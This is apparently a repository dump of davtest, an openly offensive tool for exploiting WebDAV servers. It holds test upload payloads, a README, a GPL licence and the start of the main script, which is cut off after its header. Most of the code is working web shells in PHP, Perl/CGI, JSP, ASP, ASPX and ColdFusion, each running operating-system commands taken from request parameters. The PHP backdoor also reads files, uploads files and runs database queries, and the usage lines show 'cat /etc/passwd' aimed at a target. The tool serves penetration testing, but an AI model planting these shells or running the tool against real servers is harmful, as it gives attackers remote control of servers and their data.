├── tests ├── php.txt ├── jsp.txt ├── txt.txt ├── cfm.txt ├── html.txt ├── asp.txt ├── aspx.txt ├── cgi.txt ├── pl.txt ├── jhtml.txt ├── README └── shtml.txt ├── backdoors ├── php_cmd.php ├── README ├── cgi_cmd.cgi ├── perl_cmd.pl ├── jsp_unix_cmd.jsp ├── jsp_win_cmd.jsp ├── cf_cmd.cfm ├── aspx_cmd.aspx ├── asp_cmd.asp └── php_backdoor.php ├── README.txt ├── LICENSE └── davtest.pl /tests/php.txt: -------------------------------------------------------------------------------- 1 | content= 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/jsp.txt: -------------------------------------------------------------------------------- 1 | content=<%= System.out.println(7.8 * 6.4); %> 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/txt.txt: -------------------------------------------------------------------------------- 1 | content=TXT put via davtest 2 | execmatch=TXT put via davtest 3 | -------------------------------------------------------------------------------- /tests/cfm.txt: -------------------------------------------------------------------------------- 1 | content=WriteOutput(7.8*6.4); 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/html.txt: -------------------------------------------------------------------------------- 1 | content=HTML put via davtest
2 | execmatch=HTML put via davtest 3 | -------------------------------------------------------------------------------- /tests/asp.txt: -------------------------------------------------------------------------------- 1 | content=<% response.write (7.8 * 6.4) %> 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/aspx.txt: -------------------------------------------------------------------------------- 1 | content=<% response.write (7.8 * 6.4) %> 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/cgi.txt: -------------------------------------------------------------------------------- 1 | content=#!/usr/bin/perl\nprint 'Content-Type: text/html\n\r\n\r' . 7.8 * 6.4; 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/pl.txt: -------------------------------------------------------------------------------- 1 | content=#!/usr/bin/perl\nprint 'Content-Type: text/html\n\r\n\r' . 7.8 * 6.4; 2 | execmatch=49.92 3 | -------------------------------------------------------------------------------- /tests/jhtml.txt: -------------------------------------------------------------------------------- 1 | # This is a complete guess as to syntax 2 | content=<%= System.out.println(7.8 * 6.4); %> 3 | execmatch=49.92 4 | -------------------------------------------------------------------------------- /tests/README: -------------------------------------------------------------------------------- 1 | To enable a new test file for upload, simple drop it here and make sure the file name is ext.txt, 2 | whichever type of language it is. For example, a JSP test should be named... jsp.txt. 3 | -------------------------------------------------------------------------------- /tests/shtml.txt: -------------------------------------------------------------------------------- 1 | content=YEAR::YEAR
EXEC ls::EXEC ls
EXEC dir::EXEC dir 2 | execmatch=YEAR\:[0-9]{4}\:YEAR 3 | -------------------------------------------------------------------------------- /backdoors/php_cmd.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | "; 7 | $cmd = ($_REQUEST['cmd']); 8 | system($cmd); 9 | echo ""; 10 | die; 11 | } 12 | 13 | ?> 14 | 15 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 16 | 17 | 18 | -------------------------------------------------------------------------------- /backdoors/README: -------------------------------------------------------------------------------- 1 | These backdoors/shells are mostly from Michael Daw's excellent "Web Backdoor Compilation" which can be 2 | found at http://michaeldaw.org/projects/web-backdoor-compilation. 3 | 4 | To enable a new backdoor file for upload, simple drop it here and make sure the extension matches 5 | whichever type of language it is. For example, a JSP backdoor should be named... something.jsp. 6 | 7 | If multiple files are present for a language, they will all be uploaded when appropriate. 8 | -------------------------------------------------------------------------------- /backdoors/cgi_cmd.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | use strict; 3 | print "Cache-Control: no-cache\n"; 4 | print "Content-type: text/html\n\n"; 5 | 6 | my $req = $ENV{QUERY_STRING}; 7 | chomp ($req); 8 | $req =~ s/%20/ /g; 9 | $req =~ s/%3b/;/g; 10 | 11 | print ""; 12 | print ''; 13 | if (!$req) { 14 | print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; 15 | } 16 | else { 17 | print "Executing: $req"; 18 | } 19 | 20 | print "
";
21 | 	my @cmd = `$req`;
22 | 	print "
"; 23 | 24 | foreach my $line (@cmd) { 25 | print $line . "
"; 26 | } 27 | 28 | print ""; 29 | # 30 | -------------------------------------------------------------------------------- /backdoors/perl_cmd.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | use strict; 3 | print "Cache-Control: no-cache\n"; 4 | print "Content-type: text/html\n\n"; 5 | 6 | my $req = $ENV{QUERY_STRING}; 7 | chomp ($req); 8 | $req =~ s/%20/ /g; 9 | $req =~ s/%3b/;/g; 10 | 11 | print ""; 12 | print ''; 13 | if (!$req) { 14 | print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; 15 | } 16 | else { 17 | print "Executing: $req"; 18 | } 19 | 20 | print "
";
21 | 	my @cmd = `$req`;
22 | 	print "
"; 23 | 24 | foreach my $line (@cmd) { 25 | print $line . "
"; 26 | } 27 | 28 | print ""; 29 | # 30 | -------------------------------------------------------------------------------- /backdoors/jsp_unix_cmd.jsp: -------------------------------------------------------------------------------- 1 | // note that linux = cmd and windows = "cmd.exe /c + cmd" 2 |
3 | 4 | 5 |
6 | <%@ page import="java.io.*" %> 7 | <% 8 | String cmd = request.getParameter("cmd"); 9 | String output = ""; 10 | 11 | if(cmd != null) { 12 | String s = null; 13 | try { 14 | Process p = Runtime.getRuntime().exec("cmd " + cmd); 15 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 16 | while((s = sI.readLine()) != null) { 17 | output += s; 18 | } 19 | } 20 | catch(IOException e) { 21 | e.printStackTrace(); 22 | } 23 | } 24 | %> 25 |
26 | <%=output %>
27 | 
28 | 29 | -------------------------------------------------------------------------------- /backdoors/jsp_win_cmd.jsp: -------------------------------------------------------------------------------- 1 | // note that linux = cmd and windows = "cmd.exe /c + cmd" 2 |
3 | 4 | 5 |
6 | <%@ page import="java.io.*" %> 7 | <% 8 | String cmd = request.getParameter("cmd"); 9 | String output = ""; 10 | 11 | if(cmd != null) { 12 | String s = null; 13 | try { 14 | Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 15 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 16 | while((s = sI.readLine()) != null) { 17 | output += s; 18 | } 19 | } 20 | catch(IOException e) { 21 | e.printStackTrace(); 22 | } 23 | } 24 | %> 25 |
26 | <%=output %>
27 | 
28 | -------------------------------------------------------------------------------- /backdoors/cf_cmd.cfm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Notes:

5 | 10 |

11 | 12 | 13 | 14 | 16 | 18 | 21 |
Command:value="#form.cmd#">
Options: value="#form.opts#">
Timeout: value="#form.timeout#" 20 | value="5">
22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 |

32 | #myVar#
33 | 
34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /backdoors/aspx_cmd.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" Debug="true" Trace="false" %> 2 | <%@ Import Namespace="System.Diagnostics" %> 3 | <%@ Import Namespace="System.IO" %> 4 | 28 | 29 | 30 | awen asp.net webshell 31 | 32 | 33 |
34 | 35 | 36 | Command: 37 |
38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /backdoors/asp_cmd.asp: -------------------------------------------------------------------------------- 1 | <%@ Language=VBScript %> 2 | <% 3 | ' --------------------o0o-------------------- 4 | ' File: CmdAsp.asp 5 | ' Author: Maceo 6 | ' Release: 2000-12-01 7 | ' OS: Windows 2000, 4.0 NT 8 | ' ------------------------------------------- 9 | Dim oScript 10 | Dim oScriptNet 11 | Dim oFileSys, oFile 12 | Dim szCMD, szTempFile 13 | 14 | On Error Resume Next 15 | 16 | ' -- create the COM objects that we will be using -- ' 17 | Set oScript = Server.CreateObject("WSCRIPT.SHELL") 18 | Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 19 | Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 20 | 21 | ' -- check for a command that we have posted -- ' 22 | szCMD = Request.Form(".CMD") 23 | If (szCMD <> "") Then 24 | 25 | ' -- Use a poor man's pipe ... a temp file -- ' 26 | szTempFile = "C:\" & oFileSys.GetTempName( ) 27 | Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 28 | Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 29 | 30 | End If 31 | %> 32 | 33 | 34 |
" method="POST"> 35 | 36 | 37 |
38 |
39 | <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
40 | 
41 | <% 42 | If (IsObject(oFile)) Then 43 | ' -- Read the output from our command and remove the temp file -- ' 44 | On Error Resume Next 45 | Response.Write Server.HTMLEncode(oFile.ReadAll) 46 | oFile.Close 47 | Call oFileSys.DeleteFile(szTempFile, True) 48 | End If 49 | %> 50 | 51 | 52 | -------------------------------------------------------------------------------- /backdoors/php_backdoor.php: -------------------------------------------------------------------------------- 1 | "; 9 | fpassthru($file); 10 | print "
"; 11 | die; 12 | } 13 | if(isset($_REQUEST['d'])){ 14 | $d=$_REQUEST['d']; 15 | echo "
";
 16 |         if ($handle = opendir("$d")) {
 17 | 	$files = array();
 18 |         echo "

listing of $d


"; 19 | while ($dir = readdir($handle)){ 20 | if (is_dir("$d/$dir")) $type="dir"; 21 | else $type="file"; 22 | 23 | $files[$dir]=$type; 24 | } 25 | ksort($files); 26 | foreach ($files as $f=>$t) { 27 | if ($t == "dir") { 28 | echo "$f/
"; 29 | } 30 | else { 31 | echo "$f
"; 32 | } 33 | } 34 | 35 | } else echo "opendir() failed"; 36 | closedir($handle); 37 | die ("
"); 38 | } 39 | if(isset($_REQUEST['c'])){ 40 | echo "
";
 41 | 	system($_REQUEST['c']);		   
 42 | 	die;
 43 | }
 44 | if(isset($_REQUEST['upload'])){
 45 | 
 46 | 		if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
 47 | 			else $dir=$_REQUEST['dir'];
 48 | 		$fname=$HTTP_POST_FILES['file_name']['name'];
 49 | 		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], "$dir$fname"))
 50 | 			die('file uploading error.');
 51 | }
 52 | if(isset($_REQUEST['mquery'])){
 53 | 	
 54 | 	$host=$_REQUEST['host'];
 55 | 	$usr=$_REQUEST['usr'];
 56 | 	$passwd=$_REQUEST['passwd'];
 57 | 	$db=$_REQUEST['db'];
 58 | 	$mquery=$_REQUEST['mquery'];
 59 | 	mysql_connect("$host", "$usr", "$passwd") or
 60 |     die("Could not connect: " . mysql_error());
 61 |     mysql_select_db("$db");
 62 |     $result = mysql_query("$mquery");
 63 | 	if($result!=FALSE) echo "

query was executed correctly

\n"; 64 | while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); 65 | mysql_free_result($result); 66 | die; 67 | } 68 | 69 | $curdir = getcwd(); 70 | print "Current directory is: $curdir
"; 71 | if (preg_match("/^[a-zA-Z]:\//", $curdir, $match)) { 72 | print "Browse: /
"; 73 | } 74 | else { 75 | print "Browse: /
"; 76 | } 77 | print "Browse: $curdir

"; 78 | 79 | ?> 80 |
81 |
execute command:
82 |
83 |
84 | upload file: to dir:   
85 |
86 |
87 | To browse:
88 |
89 |
90 | Execute mysql query: 91 |
92 |
93 |
94 | host: 95 |
96 | user: 97 |
98 | password: 99 |
100 | database: 101 |
102 | query: 103 |
104 | 105 |
106 | 107 | 108 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | ############################################################# 2 | Copyright 2015 Websec, SC. 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | Author (1.0): Chris Sullo / csullo [at] sunera . com 18 | Author (1.1): Paulino Calderon / calderon [at] websec . mx 19 | Author (1.2): RewardOne 20 | 21 | ############################################################# 22 | About 23 | 24 | This program attempts to exploit WebDAV enabled servers by: 25 | - attempting to create a new directory (MKCOL) 26 | - attempting to put test files of various programming langauges (PUT) 27 | - optionally attempt to put files with .txt extension, then move to executable (MOVE) 28 | - optionally attempt to put files with .txt extension, then copy to executable (COPY) 29 | - check if files executed or were uploaded properly 30 | - optionally upload a backdoor/shell file for languages which execute 31 | 32 | Additionally, this can be used to put an arbitrary file to remote systems. 33 | 34 | ############################################################# 35 | Requirements 36 | 37 | The following PERL modules are required from cpan.org: 38 | HTTP::DAV 39 | Getopt::Long 40 | 41 | ############################################################# 42 | Options 43 | 44 | davtest.pl -url url [options] 45 | -auth+ Authorization like user:password. Supports Basic and Digest only, no NTLM (yet). 46 | -realm+ Authorization realm 47 | -cleanup Delete everything uploaded except backdoor/shell files 48 | -directory+ Postfix of directory to create. This is always prefixed by 'DavTestDir_' and if not specified 49 | is set to a random string. 50 | -debug+ HTTP::DAV debug level 1-3. Levels 2 and 3 log request/responses to /tmp/perldav_debug.txt. 51 | -move PUT files as .txt and then try to MOVE them to the executable file extension 52 | -copy PUT files as .txt and then try to COPY them to the executable file extension 53 | -nocreate Don't create a directory, work at the -url level. 54 | -quiet Only print out summary and serious (usually fatal) errors. 55 | -random name+ Use this string instead of a random string for filenames. 56 | -sendbd+ Send backdoor files (from backdoors/ directory). See each script's source for how to use it, if 57 | it's not immediately obvious. 58 | auto - for any succeeded test 59 | ext - extension matching file name(s) in backdoors/ dir 60 | -uploadfile+ Upload this file to to the server. This option requires -uploadloc to specify the remote location. 61 | -uploadloc+ Upload -uploadfile to this location/name. This option requires -uploadfile. 62 | -url+ Url of the DAV location. 63 | 64 | ############################################################# 65 | Test Files 66 | 67 | Tests are used to determine if the server can execute a certain type of code. Each test may have a 68 | corresponding backdoor file, but backdoor files *must* have a corresponding test to determine if 69 | that file type can execute on the server. It is recommended a simple/basic operation for each language 70 | is used--by default, the supplied tests use mathematical calculations, if possible. 71 | 72 | Test files are located in the 'test/' directory. Files must be named according to 73 | the type of program file they will become on the server. For example, a file named 'php.txt' 74 | will be put to the server with a .php extension. 75 | 76 | Each file must have two lines, 'content' and 'execmatch'--the body put to the server and regex to 77 | match to see if it executed. For example, the php.txt contents are: 78 | content= 79 | execmatch=49.92 80 | 81 | Additionally, the token $$FILENAME$$ will be replaced (with the PUT file's name) in the content before 82 | it sent to the server. Embedded newlines (\n) will be converted to actual newlines (to accommodate PERL). 83 | 84 | ############################################################# 85 | Backdoor files 86 | 87 | Backdoor files are located in the 'backdoors/' directory. They must have the match extension for the type 88 | they will be uploaded for. For example, a php backdoor must have a '.php' extension. 89 | 90 | A backdoor file can contain any code you desire, and multiple backdoor files may be used for a file type. 91 | If multiple files exist for a type, each will be uploaded when appropriate. 92 | 93 | A backdoor type (e.g., php) *must* have a corresponding type in the 'tests/' directory, otherwise it will 94 | never be tested/uploaded. 95 | 96 | ############################################################# 97 | Examples 98 | 99 | Example: Test file uploads at this location url: 100 | davtest.pl -url http://localhost/davdir 101 | 102 | Example: Test file uploads at this location url and send backdoors for any that succeed: 103 | davtest.pl -url http://localhost/davdir -sendbd auto 104 | 105 | Example: Upload a file using authentication, send the perl_cmd.pl backdoor and call it perl.pl on the server: 106 | davtest.pl -url http://localhost/davdir -auth user:pass -uploadfile backdoors/perl_cmd.pl -uploadloc perl.pl 107 | 108 | ############################################################# 109 | TODO: 110 | - NTLM authentication 111 | - Backdoors for more languages 112 | - Validate jhtml test syntax 113 | - Add auth for COPY/MOVE uploads/backdoors 114 | 115 | ############################################################# 116 | CHANGELOG 117 | 118 | 1.1 - Fixes auth and adds realm support 119 | 120 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /davtest.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ######################################################################## 3 | # Copyright 2015 Websec, SC. 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be 